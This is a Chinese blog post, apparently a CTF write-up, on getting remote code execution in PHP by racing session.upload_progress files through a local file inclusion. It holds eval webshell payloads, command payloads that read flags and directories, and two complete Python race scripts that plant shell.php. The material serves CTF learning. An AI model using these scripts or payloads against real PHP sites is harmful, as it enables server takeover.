php session文件上传条件竞争

参考文章:利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含 - NPFS - 博客园

PHP 有一个配置项 session.upload_progress ,当 PHP 检测到 POST 请求中有 PHP_SESSION_UPLOAD_PROGRESS 字段时,会 把上传进度信息写入 session 文件 。

关键点: 我们可以在上传进度字段里注入 PHP 代码,它会被写入 session 文件

【1】session.upload_progress.enabled = On (默认开启)

img

我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要上传一个session文件,并且知道session文件的存放位置。

【2】session里有一个默认选项,session.use_strict_mode默认值为off。

img

此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.

注:在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

【3】但是session.upload_progress.cleanup默认是开启的

img

框着的这句话意思就是说在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息

这里我们可以利用条件竞争来进行文件上传

例题一:

CTFshow 里web入门里的一个文件包含题

img

通过观察代码,可以看到过滤了大部分的文件包含函数,这里我们利用PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含

以POST的形式发包,传的文件随意

<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

抓包,这里我们添加一个 Cookie :PHPSESSID=flag ,PHP将会在服务器上创建一个文件:/tmp/sess_flag” (这里我们猜测session文件默认存储位置为/tmp),并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马,修改如下

img

因为我们在上面这个页面添加的ID值是flag,所以传参?file=/tmp/sess_flag

修改如下:这个a是随便加的,主要是为了方便爆破

img

条件竞争,将POST和GET的包都开启爆破,即可得到目录,

img

可以看到有fl0g.php,只要把ls改为 cat fl0g.php即可,修改如下:

img

爆破即可得到flag

img

例题二:

一开始上传文件抓包如下(删了一点):

POST /upload.php HTTP/1.1
Host: 114.66.24.210:22416
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryep5NxYEJBtMAL8LA
Referer: http://114.66.24.210:22416/upload.php
Cookie: PHPSESSID=bdef3004122e7cc27b598fc039a24aff

------WebKitFormBoundaryep5NxYEJBtMAL8LA
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

checking
------WebKitFormBoundaryep5NxYEJBtMAL8LA
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php eval($_POST["sb"]);?>

------WebKitFormBoundaryep5NxYEJBtMAL8LA--

【1】 ------WebKitFormBoundaryep5NxYEJBtMAL8LA 是什么
这是 multipart/form-data 的分隔符(boundary) 。

当表单需要上传文件时,不能用普通的 key=value 格式,因为文件内容可能包含特殊字符。所以用 boundary 把不同字段隔开,boundary 的值在 Content-Type 头中定义,实际使用再在前面加上--即可

【2】有两个独立表单

name 内容 作用
checking PHP session 上传进度追踪
file <?php eval($_POST["sb"]);?> 上传的文件,名为1.php

session.upload_progress.enabled = On (默认开启)时,PHP 会在上传过程中把进度信息写入 session 文件,只要发送这个请求,PHP 就会创建一个 session 临时文件(如 /tmp/sess_PHPSESSID ),文件内容就是上面的checking,可以改为php马,再配合条件竞争去访问它,如果有文件包含,就可以getshell了

题目简介:

http://114.66.24.210:30064/include.php?file=可以包含文件(include
http://114.66.24.210:30064/upload.php可以上传文件

(1)上传1.php,发到intruder,在PHP_SESSION_UPLOAD_PROGRESS写入php马,前面的123只是为了方便爆破,payload选择2500个

image-20260606171428310

(2)文件包含处抓包,包含的文件改为/tmp/sess_PHPSESSION

(之前测试过文件不存在会直接报错,包含/tmp/sess_PHPSESSION没有报错)

这里数量也选择2500,这个a是随便加的,主要是为了方便爆破

image-20260606171415976

(3)两个发包,看响应长度,成功执行了ls命令

image-20260606171450368

(4)之前的<?php system('ls /')?>改为<?php system('cat /flag');?>,成功读取

image-20260606171609351

例题三:ctfshow 临时文件包含(只要为php+文件包含就可以试试)

已知页面无上传文件处,只有一个文件包含点,通过?path=/etc/passwd来包含文件

PHP 引擎只要收到带文件和进度字段PHP_SESSION_UPLOAD_PROGRESS的 POST 请求就会自动写 session 文件,这是 PHP 的底层行为,和网站代码无关,所以网页有没有上传处,不影响你能不能上传文件。 只要服务器接收 POST 请求,你就能用脚本构造任意请求,记住网页是由前端设计的,你上传什么给后端可以自己定义

image-20260613143302831

利用脚本:(有时候会卡死,可以试试最下面的脚本二)

import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://0253528e-43f1-427b-b1f1-81fc84692b2d.challenge.ctf.show/'
sessionid = 'ctfshow'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        session.get(url + '?path=/tmp/sess_' + sessionid) # 进行文件包含
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ''

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(5):
    threading.Thread(target = write,args = (session,)).start()
for i in range(5):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()

PHP 有一个配置项 session.upload_progress,当 PHP 检测到 POST 请求中有 PHP_SESSION_UPLOAD_PROGRESS 字段时,会把上传进度信息写入 session 文件

关键点:我们可以在上传进度字段里注入 PHP 代码,它会被写入 session 文件

一、 write 函数 — 往 session 文件里注入代码

def write(session):
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50)  # 50KB 假文件
        session.post(url,
            cookies={'PHPSESSID': sessionid},  # 指定 session id
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': 
                '<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval($_GET[1]);?>");?>'
            },
            files={'file': ('1.jpg', fileBytes)}  # 上传文件触发进度记录
        )

执行流程

发送 POST 请求(带文件上传)
    
PHP 检测到 PHP_SESSION_UPLOAD_PROGRESS 字段
    
将上传进度写入 /tmp/sess_sessionid
    
session 文件内容变为:
    upload_progress_|a:5:{s:10:"start_time";i:1234;...;s:4:"name";s:7:"1.jpg";}
    但我们的恶意代码也在里面

所以session 文件内容大致如下

PHP_SESSION_UPLOAD_PROGRESS|s:75:"<?php file_put_contents("shell.php","<?php eval($_GET[1]);?>");?>";upload_progress_|a:5:{s:10:"start_time";...

二、read 函数 — 条件竞争

def read(session):
    while True:
        # 包含 session 文件,执行里面的恶意代码
        session.get(url + '?path=/tmp/sess_ctfshow')
        # 检查 webshell 是否已写入
        r = session.get(url + 'shell.php')
        if r.status_code == 200:
            print('OK')
            return ''

5 个写线程 + 5 个读线程竞争

for i in range(5):
    threading.Thread(target=write, args=(session,)).start()  # 5 个线程不停写
for i in range(5):
    threading.Thread(target=read, args=(session,)).start()   # 5 个线程不停读

50KB 假文件 — 延长上传时间

fileBytes = io.BytesIO(b'a'*1024*50)  # 50KB

文件越大,上传时间越长,session 文件中的恶意代码存在时间越长,read 线程越容易命中。

为什么不用普通方式写 session?

即为什么不直接 session_start(); $_SESSION['evil']='<?php ...?>';

因为 PHP 的 session 序列化格式会转义特殊字符,写入的内容不是合法 PHP 代码。而 PHP_SESSION_UPLOAD_PROGRESS 的值会被原样写入 session 文件,不会被转义,所以可以注入 PHP 代码。

脚本二:

import io
import os
import time
import requests
import threading

URL = 'http://6c1bb9fa-9a4d-4c85-9807-0e04a90b2209.challenge.ctf.show/'
SESSIONID = 'ctfshow'
THREADS = 20
TIMEOUT = 60
PARAM = 'path'

# base64编码: <?php eval($_GET[1]);?> → PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4=
PHP_PAYLOAD = '<?php file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4="));?>'

success = False

def write(session):
    global success
    while not success:
        try:
            fileBytes = io.BytesIO(b'a' * 1024 * 50)
            session.post(URL,
                cookies={'PHPSESSID': SESSIONID},
                data={'PHP_SESSION_UPLOAD_PROGRESS': PHP_PAYLOAD},
                files={'file': ('1.jpg', fileBytes)},
                timeout=5
            )
        except:
            pass

def read(session):
    global success
    while not success:
        try:
            session.get(URL + f'?{PARAM}=/tmp/sess_' + SESSIONID, timeout=5)
            r = session.get(URL + 'shell.php', timeout=5)
            if r.status_code == 200:
                success = True
                print('[+] Webshell OK!')
                print(f'[+] {URL}shell.php?1=system("cat /flag");')
                return
        except:
            pass

session = requests.Session()
adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50)
session.mount('http://', adapter)
session.mount('https://', adapter)

print(f'[*] Target: {URL}')
print(f'[*] LFI param: {PARAM}')
print('[*] Racing...')

for i in range(THREADS):
    threading.Thread(target=write, args=(session,), daemon=True).start()
for i in range(THREADS):
    threading.Thread(target=read, args=(session,), daemon=True).start()

start = time.time()
while not success and time.time() - start < TIMEOUT:
    time.sleep(0.5)

if success:
    print('[+] Done!')
else:
    print('[-] Timeout, try again')

os._exit(0)

解释:

import io  # 提供BytesIO,在内存中创建假文件,不需要真的磁盘文件
import os  # 提供os._exit(),强制终止整个进程(包括所有线程)
import time  # 提供time.time()计时和time.sleep()等待
import requests  # HTTP请求库,用于发送GET/POST请求
import threading  # 多线程库,用于并发竞争

URL = 'http://6c1bb9fa-9a4d-4c85-9807-0e04a90b2209.challenge.ctf.show/'  # 靶场地址
SESSIONID = 'ctfshow'  # PHPSESSID的值,决定session文件名:/tmp/sess_ctfshow
THREADS = 20  # 每种线程(读/写)的数量,越大竞争成功率越高
TIMEOUT = 60  # 最长等待时间(秒),超时就放弃
PARAM = 'path'  # LFI漏洞的参数名,即 ?path=/tmp/sess_xxx

# base64编码: <?php eval($_GET[1]);?> → PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4=
# 用base64避免字符串中的<?php和?>被PHP引擎提前解析
PHP_PAYLOAD = '<?php file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4="));?>'
# 这段PHP代码的作用:在当前目录写入shell.php,内容是 <?php eval($_GET[1]);?>

success = False  # 全局标志,竞争成功后设为True,通知所有线程停止

def write(session):  # 写线程:不断发送POST请求,往session文件里注入恶意代码
    global success  # 声明使用全局变量success
    while not success:  # 只要还没成功,就一直循环
        try:
            fileBytes = io.BytesIO(b'a' * 1024 * 50)  # 创建50KB的假文件,越大上传越慢,session文件存活时间越长
            session.post(URL,  # 发送POST请求到靶场
                cookies={'PHPSESSID': SESSIONID},  # 设置PHPSESSID,让PHP引擎创建对应的session文件
                data={'PHP_SESSION_UPLOAD_PROGRESS': PHP_PAYLOAD},  # 触发PHP上传进度机制,恶意代码写入session文件
                files={'file': ('1.jpg', fileBytes)},  # 上传假文件,必须有文件上传才会触发进度记录
                timeout=5  # 请求超时5秒,避免卡死
            )
        except:  # 出错就跳过(网络波动、超时等),继续下一轮
            pass

def read(session):  # 读线程:不断尝试包含session文件,执行里面的恶意代码
    global success  # 声明使用全局变量success
    while not success:  # 只要还没成功,就一直循环
        try:
            session.get(URL + f'?{PARAM}=/tmp/sess_' + SESSIONID, timeout=5)  # LFI包含session文件,触发恶意代码执行
            r = session.get(URL + 'shell.php', timeout=5)  # 检查shell.php是否已被写入
            if r.status_code == 200:  # 返回200说明shell.php存在,写入成功
                success = True  # 设置全局标志,通知所有线程停止
                print('[+] Webshell OK!')  # 打印成功信息
                print(f'[+] {URL}shell.php?1=system("cat /flag");')  # 打印webshell地址
                return  # 退出当前线程
        except:  # 出错就跳过,继续下一轮
            pass

session = requests.Session()  # 创建Session对象,复用TCP连接,提高性能
adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50)  # 创建连接池,最多50个连接
session.mount('http://', adapter)  # HTTP请求使用连接池
session.mount('https://', adapter)  # HTTPS请求使用连接池

print(f'[*] Target: {URL}')  # 打印目标地址
print(f'[*] LFI param: {PARAM}')  # 打印LFI参数名
print('[*] Racing...')  # 打印开始竞争

for i in range(THREADS):  # 启动20个写线程
    threading.Thread(target=write, args=(session,), daemon=True).start()  # daemon=True,主线程退出时自动结束
for i in range(THREADS):  # 启动20个读线程
    threading.Thread(target=read, args=(session,), daemon=True).start()  # 读写同时进行,形成竞争

start = time.time()  # 记录开始时间
while not success and time.time() - start < TIMEOUT:  # 等待成功或超时
    time.sleep(0.5)  # 每0.5秒检查一次

if success:  # 竞争成功
    print('[+] Done!')
else:  # 超时
    print('[-] Timeout, try again')

os._exit(0)  # 强制退出整个进程,包括所有daemon线程
posted @ 2026-06-18 13:05  Doll_Marker  阅读(20)  评论(0)    收藏  举报